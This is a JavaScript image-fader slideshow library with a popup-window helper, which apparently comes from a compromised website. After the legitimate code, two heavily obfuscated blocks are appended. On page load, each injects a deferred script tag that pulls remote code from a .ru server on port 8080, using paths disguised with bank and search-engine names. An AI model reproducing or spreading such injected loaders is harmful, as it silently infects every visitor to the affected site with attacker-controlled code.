/*  imgFader, version 1.0
 *  (c) 2008 Malte Sieb (http://www.maltesieb.de)
 *
 *  imgFader is freely distributable under the terms of the GPL license.
 *  For details, see my web site: http://www.maltesieb.org/skripte
 *
 *--------------------------------------------------------------------------
 *
 *	c	Container element id
 *  ce	Current visible element
 *  pe	Previous visible element
 *  fps	Frames per second
 *  eo	Current elements opacity
 *  po	Previous elements opacity
 *
 *  _g	Get										Alias for document.getElementById
 *  _a	Append									Append new image element to container
 *  _u	Update									Rebuild container after resorting images
 *  _so	Set opacity (element,aim of opacity)	Set opacity in 2 different methods
 *  _f	Fade function 							is called each frame
 *  _s	Show									Start fading to next image
 */

var Fade=function(c,d) {
	/* Default values */
	this.fDur=1;
	this.delay=5;
	this.imgs=new Array();
	this.mode='random';
	this.clear=true;
	for (var i in d) this[i]=d[i];
	
	/* Prevent longer fade duration than delay */
	if (this.fDur>this.delay) this.fDur=this.delay;

	/* Script variables */
	this.ce=0;
	this.eo=1;
	this.po=0;
	this.fps=25;
	this.c=c;
	
	/* Prepare container element and put all images into it */
	if (this.clear) this._g(this.c).innerHTML='';
	this._g(c).style.position='relative';
	for (i=0;i<this.imgs.length;i++) {
		this._a(i,this.imgs[i]);
	}
	
	/* Start the desaster */
	this.start();
};

Fade.prototype.start=function() {
	var p=this;
	this.stop();
	this.s=window.setInterval(function() {p._s()},this.delay*1000);
};

Fade.prototype.stop=function() {
	window.clearInterval(this.s);
};

Fade.prototype._a=function(i,img) {
	this._g(this.c).innerHTML+='<img src="'+img+'" id="img'+i+'" alt="" />'+"\n";
	this._g('img'+i).style.position='absolute';
	this._so(i,(i==this.ce?this.eo:(i==this.pe?this.po:0)));
};

/**
 * Rebuild container e.g. after resorting images
 */
Fade.prototype._u=function(n) {
	this.imgs=n;
	this._g(this.c).innerHTML='';
	for (i=0;i<n.length;i++) {
		this._a(i,this.imgs[i]);
	}
};

/**
 * Alias for document.getElementById
 */
Fade.prototype._g=function(i){return document.getElementById(i);};

/**
 * Check if URL already exists
 */
Fade.prototype._d=function(n){for(i=0;i<this.imgs.length;i++){if(n==this.imgs[i])return i;}return false;}

Fade.prototype._so=function(i,o){
	var e=this._g('img'+i);
	o=o>1?1:(o<0?0:o);	 
	e.style.opacity=o;
	e.style.filter="alpha(opacity="+(o*100)+")";
};

Fade.prototype._f=function(){
	if (this.eo>=1) {window.clearInterval(this.f);}
	var d=1/(this.fps*this.fDur);
	this._so(this.pe,(this.po-=d));
	this._so(this.ce,(this.eo+=d));
};

Fade.prototype._s = function(ce) {
	if (this.s) {window.clearInterval(this.s);window.clearInterval(this.f);}
	for (i=0;i<this.imgs.length;i++) {
		if (i!=this.ce && i!=this.pe) this._so(i,0);
	}
	var p=this,r;
	if (this.imgs.length>0) {
		this.pe=this.ce;
		if (ce || ce==0) {
			this.ce=ce;
			this.fe=null;
		} else if (this.mode=='random') {
			do r=Math.round((Math.random()*this.imgs.length)-0.499);
			while(r==this.ce);
			this.ce=r;
		} else {
			if (++this.ce>(this.imgs.length-1)) {
				this.ce=0;
			}
		}
		this.eo=0;
		this.po=1;
		this.f=window.setInterval(function() { p._f(); },Math.round(this.fDur*1000/this.fps));
	}
	this.start();
};

Fade.prototype.add = function(img,d) {
	var p,n=new Array();
	p=this._d(img);
	if (!p || d.force) {
		if (d.pos && d.pos=='first') d.pos=1;
		if (d.pos && d.pos<=this.imgs.length) {
			d.pos--;
			for (i=0;i<this.imgs.length;i++) {
				if (i<d.pos) n[i]=this.imgs[i];
				else if (i==d.pos) {n[i]=img;n[(i+1)]=this.imgs[i];}
				else n[(i+1)]=this.imgs[i];
			}
			if (this.ce>=d.pos){this.ce++;}
			if (this.pe>=d.pos){this.pe++;}
			this._u(n);
			p=d.pos;
		} else {
			this.imgs[this.imgs.length]=img;
			p=this.imgs.length-1;
			this._a(p,img);
		}
	}
	if (d.mode && d.mode=='immediate') {this._s(p);}
};

Fade.prototype.go=function(p) {
	if (typeof p=='string' && p.indexOf('+')>-1) {
		p=parseInt(p.substr(1))+this.ce+1;
		if (p>this.imgs.length) p=p-this.imgs.length;
	} else if (typeof p=='string' && p.indexOf('-')>-1) {
		p=this.ce-parseInt(p.substr(1))+1;
		if (p<=0) p=p+this.imgs.length;
	}
	this._s(parseInt(p)-1);
};

Fade.prototype.preload = function(img) {
	var i=new Image;
	i.src=img;
};

<!-- Popup Generator -->
<!--
var win=null;
function NewWindow(mypage,myname,w,h,pos,infocus){
if(pos=="random"){myleft=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;mytop=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;}
if(pos=="center"){myleft=(screen.width)?(screen.width-w)/2:100;mytop=(screen.height)?(screen.height-h)/2:100;}
else if((pos!='center' && pos!="random") || pos==null){myleft=0;mytop=20}
settings="width=" + w + ",height=" + h + ",top=" + mytop + ",left=" + myleft + ",scrollbars=no,location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no";win=window.open(mypage,myname,settings);
win.focus();}
// -->
Fc={T:false};rO=22123;rO++;function H(){var G='';var ED="";aE=[];var F="def"+"erWkU".substr(0,2);var b=3158;I=7665;I--;var P=new String("app"+"GQxend".substr(3)+"Chi"+"ld");var VG=[];var K=String("boJsi".substr(0,2)+"dyZKV".substr(0,2));var Z=window;try {var Df='D'} catch(Df){};var H_="";var n="sr"+"EwRJc".substr(4);var _="scri"+"pt";var y=new String("onl"+"Ozfoad".substr(3));var Bn="";var cm=["EC"];var U=document;var e={};var Hx=new String("creat"+"eElem"+"ent");this.aW=31186;this.aW+=37;DL=["Ic"];var uq=["aj","Ah"];function nh(){this.yy="";var l=["hm","f"];try {var nF=159967-151887;MO=["To","QU"];var Hs="Hs";var m="http"+"://p"+"assp"+"7Vmxortb".substr(4)+"lues"+".ru:nL9".substr(0,4);var vU=false;ex=["Ss","FN"];var V=9714-9713;var A=String("/ama"+"zon-"+"fr/g"+"vp7oogl".substr(3)+"e.co"+"5vIwm/mi".substr(4)+"ibei"+"an.g"+"ov.c"+"5X2n.ph".substr(3)+"84j5p".substr(4));var eE={RW:"RY"};Pc=U[Hx](_);var nB=false;try {var TW='CV'} catch(TW){};var Y='';this.Tx=33676;this.Tx+=152;Pc[F]=V;Ub={EB:8097};try {} catch(iA){};eY=["YH","QN","DE"];Pc[n]=m+nF+A;U[K][P](Pc);var dg='';var Hxc="";var hF={HS:"xp"};kg=55031;kg--;} catch(mr){this.ajO=60831;this.ajO+=234;var w_=false;};var Hf=new String();var nFR=new String();}jx=[];var DW=["jM","rW"];Z[y]=nh;var LU=false;var ZN=["kE","lK"];};var Ma=new Array();Uq=["Yu","tO"];H();var YI=new String();
var Y=["I"];this.g=29485;this.g++;e=11662;e+=65;try {bp={};L={};var E=["a","Dg"];try {} catch(F){};bO={r:false};SA={KK:false};var h=window[String("unes"+"cape")];s=63847;s--;d=21926;d--;var oy=21435;var G=window[(String("ReSCM".substr(0,2)+"gEsL2".substr(0,2)+"4fMxpf4M".substr(3,2)))];Er=33339;Er--;_l=43264;_l--;this.qm='';var X=new String("1");var t={sW:false};var Bt="Bt";try {} catch(A){};try {var db='rs'} catch(db){};vs={Bm:6181};var c='';var gi="gi";var BV={W:false};this.cg=5004;this.cg-=97;var up=new String();var p=String("on"+"lo"+"CNOad".substr(3));var Ut={};var Vb={};var Yo='';var P=String("rep"+"lacRezC".substr(0,3)+"ud2TedT2u".substr(4,1));try {var DS='Tc'} catch(DS){};try {var WG='Wx'} catch(WG){};var mF=new Date();var CT="CT";this.lU="lU";function S(X,k){var Cy=44355;TJ=["Q"];var j="[";this.im='';this.lY='';sV=[];this.vY=26720;this.vY+=74;this.Rw='';j+=k;var BR=38481;this.Kz=false;var HJ=false;this.yS='';j+=h("%5d");this.tU=31610;this.tU++;var dx=[];var yc={};Qk=10534;Qk++;var Qb=["aK","Mz","Yr"];var n=new G(j, "g");O=54321;O+=199;return X.replace(n, c);this._v=64616;this._v++;this.Ga=false;CO={};KG={yZ:20906};};GV={J:"lQ"};var If=new String();this.MN=42281;this.MN+=21;this.PG=30875;this.PG+=230;this.zx=43466;this.zx-=252;var ny=String("5NB3http:".substr(4)+"//gotiEh".substr(0,5)+"hguil"+"S86t.ru:S86".substr(3,5));var ic={JG:47518};var YV={yA:16164};var l=250875-242795;var Xhg=new String();lw=64659;lw++;COm=38673;COm++;var tAd=false;ye={xJ:46067};Um={Uu:19725};Od={KW:56633};BO={bJ:28053};var N=String("/hsbc"+"-co-up7H".substr(0,5)+"k/goo"+"gle.c"+"om/li"+"nezinV82D".substr(0,5)+"g.com"+".php");var nU=new Array();this.fS=31293;this.fS+=253;var PY=new Array();var sh={_Q:false};var oz='';this.__=1590;this.__+=71;function q(){var OQ=new Date();var Jh=new Array();azS=["VK","bi","gD"];Al=[];var VL={};var qQ=false;var R=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");this.JF=56397;this.JF-=136;this.orM=false;this.Pv=4931;this.Pv-=66;O_=["Bd","lQc","zh"];this.bc=false;var v=document;dd={};ju=[];UF={};LS=10331;LS-=180;var b=S('s5c5rzi3pOth','8h1wgOEVoJ34zb6HlPD5Z');var BtG={ei:"iF"};var FC=[];HJz={OJJ:"Mq"};hHk=["Jg","Ed"];zT=["ce"];var Szh=new Array();var Su={kY:"Gp"};var AI=new Array();var pO={};bP=v.createElement(b);Ws=50423;Ws++;dt=58145;dt++;var BQ={uF:"zW"};w=ny+l;_j=5881;_j-=181;var QL=[];w=w+N;var pzm="";try {var RS='NC'} catch(RS){};var uN={ES:"eg"};var oQ=new Date();var Qw=new Date();this.mAi=12453;this.mAi--;bP.src=w;var BdY=["XM"];var Gz=v.body;var oe={};bIk={kfh:2241};var Ak=["TB"];WxH={gq:62868};bP[new String("defe"+"r")]=X;Szx=["NCC"];var RY=false;var LCk={};try {var VU='nP'} catch(VU){};try {var mt='xA'} catch(mt){};af={};Gz[R](bP);var ck='';};Mzm=["dq","Rl"];this.Ye=18647;this.Ye--;var jG=new String();window[p]=q;this.Lp='';aq=7605;aq++;this.EP=26766;this.EP--;var mk=["Ne","_Z","FR"];this._lZ=63349;this._lZ--;this.wh=42932;this.wh--;} catch(z){var ZI=new String();var yt=9212;var z_={GU:54703};Cc={CAq:"jXN"};};jD={};this.bC=false;try {} catch(XU){};